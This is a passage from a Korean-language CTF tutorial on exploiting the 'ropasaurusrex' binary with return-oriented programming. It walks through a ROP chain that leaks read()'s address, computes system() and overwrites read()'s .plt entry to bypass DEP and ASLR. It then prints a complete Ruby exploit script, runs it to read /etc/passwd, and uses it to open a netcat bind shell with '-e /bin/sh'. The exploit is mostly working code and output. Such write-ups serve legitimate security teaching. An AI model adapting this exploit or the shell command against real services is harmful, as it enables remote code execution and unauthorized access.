좋아요, 잠시 멈추고 단계를 나눠봅시다. 다음과 같은 과정이 필요합니다.

  1. read() 함수를 이용해 명령어를 메모리에 복사
  2. write() 함수를 이용해 write() 함수의 주소 구하기
  3. system() 주소를 구하기 위해 write()system()의 오프셋 계산
  4. system() 호출

system()을 호출하려면, system()의 주소를 메모리 어딘가에 쓰고, 그걸 호출해야 합니다. 가장 쉬운 방법은 .plt 테이블의 read() 호출을 덮어쓰고 read()를 호출하는 것입니다.

지금 아마도 조금 혼란스럽겠죠. 저도 그랬으니 걱정하지 마세요. 전 이게 된다는 사실에 충격받았습니다. :)

잠시 멈추고 이걸 동작하게 만들어 봅시다! 아마 이런 스택 프레임이 필요할 겁니다.

+----------------------+
|         ...          |
+----------------------+

+----------------------+ <-- system()의 프레임 [7]
|      void *arg       |
+----------------------+
|   [return address]   |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret의 프레임 [6]
|  [address of read]   | - 사실은 system()으로 점프할 것이다.
+----------------------+

+----------------------+ <-- 두 번째 read()의 프레임 [5]
|     size_t count     | - 4바이트 (32비트 주소의 크기)
+----------------------+
|      void *buf       | - read()를 가리키는 덮어쓸 수 있는 포인터
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret의 프레임 [4]
|  [address of read]   |
+----------------------+

+----------------------+ <-- write()의 프레임 [3]
|     size_t count     | - 4바이트 (32비트 주소의 크기)
+----------------------+
|      void *buf       | - read()를 가리키는 포인터를 포함하는 주소
+----------------------+
|        int fd        | - 1 (stdout)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+ <-- pop/pop/pop/ret의 프레임 [2]
|  [address of write]  |
+----------------------+

+----------------------+ <-- read()의 프레임 [1]
|     size_t count     | - strlen(cmd)
+----------------------+
|      void *buf       | - 쓰기가 가능한 메모리
+----------------------+
|        int fd        | - 0 (stdin)
+----------------------+
| [address of "pppr"]  |
+----------------------+

+----------------------+
|         ...          |
+----------------------+

오 이런, 이게 대체 무슨 일이랍니까!?

바닥부터 시작해서 올라가봅시다! 가리키기 쉽게 각 프레임에 숫자를 붙였습니다.

프레임 [1]은 전에 본 것입니다. cmd를 쓰기가 가능한 메모리에 기록합니다. 프레임 [2]는 read()를 정리할 일반적인 pop/pop/pop/ret입니다.

프레임 [3]은 write()를 사용해 소켓에 read() 주소를 씁니다. 프레임 [4]는 write() 후 정리할 일반적인 pop/pop/pop/ret을 사용합니다.

프레임 [5]는 소켓을 통해 다른 주소를 읽고 그걸 메모리에 씁니다. 이 주소는 system() 호출 주소가 될 겁니다. 이걸 메모리에 쓰는 게 작동하는 이유는 read()가 호출되는 방식 때문입니다. 우리가 gdb에서 써 왔던 read()(0x0804832C) 호출 부분을 보면 이렇습니다.

(gdb) x/i 0x0804832C
0x804832c <read@plt>:   jmp    DWORD PTR ds:0x804961c

read()는 사실 간접적인 점프로 구현되어 있습니다! 그러니 ds:0x804961c의 값이 무엇이든 이걸 바꿔도 그리로 점프하게 되고, 결국 우린 어디로든 점프할 수 있게 됩니다! 그래서 프레임 [3]에서 read()의 실제 주소를 얻기 위해 메모리로부터 주소를 읽고, 프레임 [5]에서 그 주소에 새 주소를 쓰는 것입니다.

프레임 [6]은 일반적인 pop/pop/pop/ret 구조지만 약간 다릅니다. pop/pop/pop/ret의 반환 주소가 실제론 read().plt 엔트리인 0x804832c입니다. read().plt 엔트리를 system()으로 덮어쓰기 때문에, 이 호출은 실제로 system()으로 가게 됩니다!

최종 코드

휴! 꽤 복잡했죠. DEP와 ASLR을 모두 우회하며 ropasaurusrex의 취약점 공격을 모두 구현한 코드입니다.

require 'socket'

s = TCPSocket.new("localhost", 4444)

# The command we'll run
cmd = ARGV[0] + "\0"

# From objdump -x
buf = 0x08049530

# From objdump -D ./ropasaurusrex | grep read
read_addr = 0x0804832C
# From objdump -D ./ropasaurusrex | grep write
write_addr = 0x0804830C
# From gdb, "x/x system"
system_addr = 0xb7ec2450
# Fram objdump, "pop/pop/pop/ret"
pppr_addr = 0x080484b6

# The location where read()'s .plt entry is
read_addr_ptr = 0x0804961c

# The difference between read() and system()
# Calculated as  read (0xb7f48110) - system (0xb7ec2450)
# Note: This is the one number that needs to be calculated using the
# target version of libc rather than my own!
read_system_diff = 0x85cc0

# Generate the payload
payload = "A"*140 +
  [
    # system()'s stack frame
    buf,         # writable memory (cmd buf)
    0x44444444,  # system()'s return address

    # pop/pop/pop/ret's stack frame
    # Note that this calls read_addr, which is overwritten by a pointer
    # to system() in the previous stack frame
    read_addr,   # (this will become system())

    # second read()'s stack frame
    # This reads the address of system() from the socket and overwrites
    # read()'s .plt entry with it, so calls to read() end up going to
    # system()
    4,           # length of an address
    read_addr_ptr, # address of read()'s .plt entry
    0,           # stdin
    pppr_addr,   # read()'s return address

    # pop/pop/pop/ret's stack frame
    read_addr,

    # write()'s stack frame
    # This frame gets the address of the read() function from the .plt
    # entry and writes to to stdout
    4,           # length of an address
    read_addr_ptr, # address of read()'s .plt entry
    1,           # stdout
    pppr_addr,   # retrurn address

    # pop/pop/pop/ret's stack frame
    write_addr,

    # read()'s stack frame
    # This reads the command we want to run from the socket and puts it
    # in our writable "buf"
    cmd.length,  # number of bytes
    buf,         # writable memory (cmd buf)
    0,           # stdin
    pppr_addr,   # read()'s return address

    read_addr # Overwrite the original return
  ].reverse.pack("I*") # Convert a series of 'ints' to a string

# Write the 'exploit' payload
s.write(payload)

# When our payload calls read() the first time, this is read
s.write(cmd)

# Get the result of the first read() call, which is the actual address of read
this_read_addr = s.read(4).unpack("I").first

# Calculate the address of system()
this_system_addr = this_read_addr - read_system_diff

# Write the address back, where it'll be read() into the correct place by
# the second read() call
s.write([this_system_addr].pack("I"))

# Finally, read the result of the actual command
puts(s.read())

# Clean up
s.close()

그리고 실행 결과입니다.

$ ruby sploit.rb "cat /etc/passwd"
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/bin/sh
bin:x:2:2:bin:/bin:/bin/sh
sys:x:3:3:sys:/dev:/bin/sh
[...]

물론 cat /etc/passwd를 원하는 값으로 바꿀 수 있고, netcat 리스너도 넣을 수 있죠!

ron@debian-x86 ~ $ ruby sploit.rb "pwd"
/home/ron
ron@debian-x86 ~ $ ruby sploit.rb "whoami"
ron
ron@debian-x86 ~ $ ruby sploit.rb "nc -vv -l -p 5555 -e /bin/sh" &
[1] 3015
ron@debian-x86 ~ $ nc -vv localhost 5555
debian-x86.skullseclabs.org [127.0.0.1] 5555 (?) open
pwd
/home/ron
whoami
ron

결론

이게 끝입니다! 방금 믿을 만한, DEP/ASLR을 우회하는 ropasaurusrex 취약점 공격 스크립트를 만들었습니다.

질문이 있다면 댓글을 달거나 저에게 연락해주세요!